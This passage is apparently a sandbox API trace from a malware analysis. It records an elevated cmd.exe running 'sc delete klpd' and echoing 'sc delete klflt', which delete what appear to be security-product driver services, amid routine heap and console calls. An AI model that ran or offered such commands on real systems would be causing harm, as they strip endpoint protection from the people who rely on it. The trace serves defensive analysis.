lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0077.941] GetLastError () returned 0x2 [0077.941] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0077.942] GetLastError () returned 0x2 [0077.942] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0077.942] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0077.942] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0077.942] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0077.942] GetLastError () returned 0x2 [0077.942] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0077.942] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0077.942] GetConsoleTitleW (in: lpConsoleTitle=0x1af5c0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0077.943] GetProcessHeap () returned 0x240000 [0077.943] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x21c) returned 0x259180 [0077.943] GetConsoleTitleW (in: lpConsoleTitle=0x259190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0077.943] GetProcessHeap () returned 0x240000 [0077.943] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259180, Size=0x96) returned 0x259180 [0077.943] GetProcessHeap () returned 0x240000 [0077.943] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259180) returned 0x96 [0077.943] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete klpd") returned 1 [0077.943] GetProcessHeap () returned 0x240000 [0077.943] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259180 | out: hHeap=0x240000) returned 1 [0077.943] InitializeProcThreadAttributeList (in: lpAttributeList=0x1af378, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1af338 | out: lpAttributeList=0x1af378, lpSize=0x1af338) returned 1 [0077.943] UpdateProcThreadAttribute (in: lpAttributeList=0x1af378, dwFlags=0x0, Attribute=0x60001, lpValue=0x1af328, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1af378, lpPreviousValue=0x0) returned 1 [0077.944] GetStartupInfoW (in: lpStartupInfo=0x1af490 | out: lpStartupInfo=0x1af490*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0077.944] GetProcessHeap () returned 0x240000 [0077.944] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x20) returned 0x254610 [0077.944] GetProcessHeap () returned 0x240000 [0077.944] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x254610 | out: hHeap=0x240000) returned 1 [0077.944] GetProcessHeap () returned 0x240000 [0077.944] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x12) returned 0x2589d0 [0077.944] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete klpd", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x1af3b0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete klpd", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1af360 | out: lpCommandLine="sc delete klpd", lpProcessInformation=0x1af360*(hProcess=0x50, hThread=0x54, dwProcessId=0xb20, dwThreadId=0xb74)) returned 1 [0077.948] CloseHandle (hObject=0x54) returned 1 [0077.948] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0077.948] GetProcessHeap () returned 0x240000 [0077.948] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0077.948] GetEnvironmentStringsW () returned 0x25ba10* [0077.949] GetProcessHeap () returned 0x240000 [0077.949] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x261b10 [0077.949] FreeEnvironmentStringsW (penv=0x25ba10) returned 1 [0077.949] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x1aec68, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x1aec68, ReturnLength=0x0) returned 0x0 [0077.949] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffdb000, lpBuffer=0x1aeca0, nSize=0x380, lpNumberOfBytesRead=0x1aec60 | out: lpBuffer=0x1aeca0*, lpNumberOfBytesRead=0x1aec60*=0x380) returned 1 [0077.949] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0078.137] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x1af2a8 | out: lpExitCode=0x1af2a8*=0x424) returned 1 [0078.137] CloseHandle (hObject=0x50) returned 1 [0078.137] _vsnwprintf (in: _Buffer=0x1af518, _BufferCount=0x13, _Format="%08X", _ArgList=0x1af2b8 | out: _Buffer="00000424") returned 8 [0078.137] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0078.137] GetProcessHeap () returned 0x240000 [0078.137] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x261b10 | out: hHeap=0x240000) returned 1 [0078.137] GetEnvironmentStringsW () returned 0x261b10* [0078.137] GetProcessHeap () returned 0x240000 [0078.137] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba10 [0078.137] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0078.137] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0078.137] GetProcessHeap () returned 0x240000 [0078.137] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0078.137] GetEnvironmentStringsW () returned 0x25ba10* [0078.137] GetProcessHeap () returned 0x240000 [0078.137] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x261b10 [0078.137] FreeEnvironmentStringsW (penv=0x25ba10) returned 1 [0078.137] GetProcessHeap () returned 0x240000 [0078.137] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589d0 | out: hHeap=0x240000) returned 1 [0078.137] DeleteProcThreadAttributeList (in: lpAttributeList=0x1af378 | out: lpAttributeList=0x1af378) [0078.137] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0078.138] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.138] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0078.139] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.139] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x49f8e194 | out: lpMode=0x49f8e194) returned 0 [0078.139] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.139] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x49f8e198 | out: lpMode=0x49f8e198) returned 0 [0078.139] GetConsoleOutputCP () returned 0x1b5 [0078.139] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0078.139] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0078.139] GetProcessHeap () returned 0x240000 [0078.140] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259b30 | out: hHeap=0x240000) returned 1 [0078.140] GetProcessHeap () returned 0x240000 [0078.140] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x241ab0 | out: hHeap=0x240000) returned 1 [0078.140] GetProcessHeap () returned 0x240000 [0078.140] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255b70 | out: hHeap=0x240000) returned 1 [0078.140] GetProcessHeap () returned 0x240000 [0078.140] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c530 | out: hHeap=0x240000) returned 1 [0078.140] GetProcessHeap () returned 0x240000 [0078.140] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x256550 | out: hHeap=0x240000) returned 1 [0078.140] GetProcessHeap () returned 0x240000 [0078.140] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259910 | out: hHeap=0x240000) returned 1 [0078.140] GetProcessHeap () returned 0x240000 [0078.140] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x256510 | out: hHeap=0x240000) returned 1 [0078.140] GetProcessHeap () returned 0x240000 [0078.140] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589b0 | out: hHeap=0x240000) returned 1 [0078.140] GetProcessHeap () returned 0x240000 [0078.140] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x264660 | out: hHeap=0x240000) returned 1 [0078.140] _vsnwprintf (in: _Buffer=0x49fa6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1af7d8 | out: _Buffer="\r\n") returned 2 [0078.140] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.140] GetFileType (hFile=0x120) returned 0x3 [0078.140] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.140] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0078.140] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1af7a8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7a8*=0x2, lpOverlapped=0x0) returned 1 [0078.140] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0078.141] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f9c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0078.141] _vsnwprintf (in: _Buffer=0x49f8eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1af7e8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0078.141] _vsnwprintf (in: _Buffer=0x49f8ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x1af7e8 | out: _Buffer=">") returned 1 [0078.141] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.141] GetFileType (hFile=0x120) returned 0x3 [0078.141] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.141] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0078.141] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x1af7d8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7d8*=0x26, lpOverlapped=0x0) returned 1 [0078.141] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.141] GetFileType (hFile=0xb8) returned 0x3 [0078.141] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.141] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.141] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.141] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e320, cchWideChar=1 | out: lpWideCharStr="sc delete klpd\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0078.141] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.141] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.141] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.141] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e322, cchWideChar=1 | out: lpWideCharStr="c delete klpd\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0078.141] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.141] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.142] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.142] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e324, cchWideChar=1 | out: lpWideCharStr=" delete klpd\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0078.142] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.142] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.142] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.142] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e326, cchWideChar=1 | out: lpWideCharStr="delete klpd\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0078.142] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.142] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.142] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.142] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e328, cchWideChar=1 | out: lpWideCharStr="elete klpd\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0078.142] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.142] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.142] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.142] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32a, cchWideChar=1 | out: lpWideCharStr="lete klpd\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0078.142] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.142] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.142] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.142] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32c, cchWideChar=1 | out: lpWideCharStr="ete klpd\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0078.142] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.142] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.143] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.143] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32e, cchWideChar=1 | out: lpWideCharStr="te klpd\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0078.143] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.143] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.143] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.143] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e330, cchWideChar=1 | out: lpWideCharStr="e klpd\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0078.143] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.143] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.143] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.143] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e332, cchWideChar=1 | out: lpWideCharStr=" klpd\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0078.143] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.143] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.144] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.144] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e334, cchWideChar=1 | out: lpWideCharStr="klpd\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0078.144] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.144] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.144] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.144] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e336, cchWideChar=1 | out: lpWideCharStr="lpd\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0078.144] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.144] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.144] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.144] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e338, cchWideChar=1 | out: lpWideCharStr="fd\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0078.144] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.144] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.144] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.144] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33a, cchWideChar=1 | out: lpWideCharStr="l\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0078.144] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.144] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.144] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.144] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33c, cchWideChar=1 | out: lpWideCharStr="t8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0078.144] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.144] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.145] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.145] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33e, cchWideChar=1 | out: lpWideCharStr="\n.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0078.145] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.145] GetFileType (hFile=0xb8) returned 0x3 [0078.145] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.145] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.145] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.145] GetFileType (hFile=0x120) returned 0x3 [0078.145] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.145] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete klflt\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete klflt\n", lpUsedDefaultChar=0x0) returned 17 [0078.145] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1afab8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1afab8*=0x10, lpOverlapped=0x0) returned 1 [0078.145] GetProcessHeap () returned 0x240000 [0078.145] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4012) returned 0x268630 [0078.145] GetProcessHeap () returned 0x240000 [0078.145] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x268630 | out: hHeap=0x240000) returned 1 [0078.145] GetProcessHeap () returned 0x240000 [0078.145] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0) returned 0x264660 [0078.145] GetProcessHeap () returned 0x240000 [0078.145] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x16) returned 0x2589b0 [0078.146] GetProcessHeap () returned 0x240000 [0078.146] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2c) returned 0x256510 [0078.146] GetConsoleOutputCP () returned 0x1b5 [0078.146] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0078.146] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0078.146] GetConsoleTitleW (in: lpConsoleTitle=0x1afa70, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0078.146] GetProcessHeap () returned 0x240000 [0078.146] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x218) returned 0x259910 [0078.146] GetProcessHeap () returned 0x240000 [0078.146] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x32) returned 0x256550 [0078.147] GetProcessHeap () returned 0x240000 [0078.147] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x420) returned 0x25ba10 [0078.147] SetErrorMode (uMode=0x0) returned 0x1 [0078.147] SetErrorMode (uMode=0x1) returned 0x0 [0078.147] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x25ba20, lpFilePart=0x1af300 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", 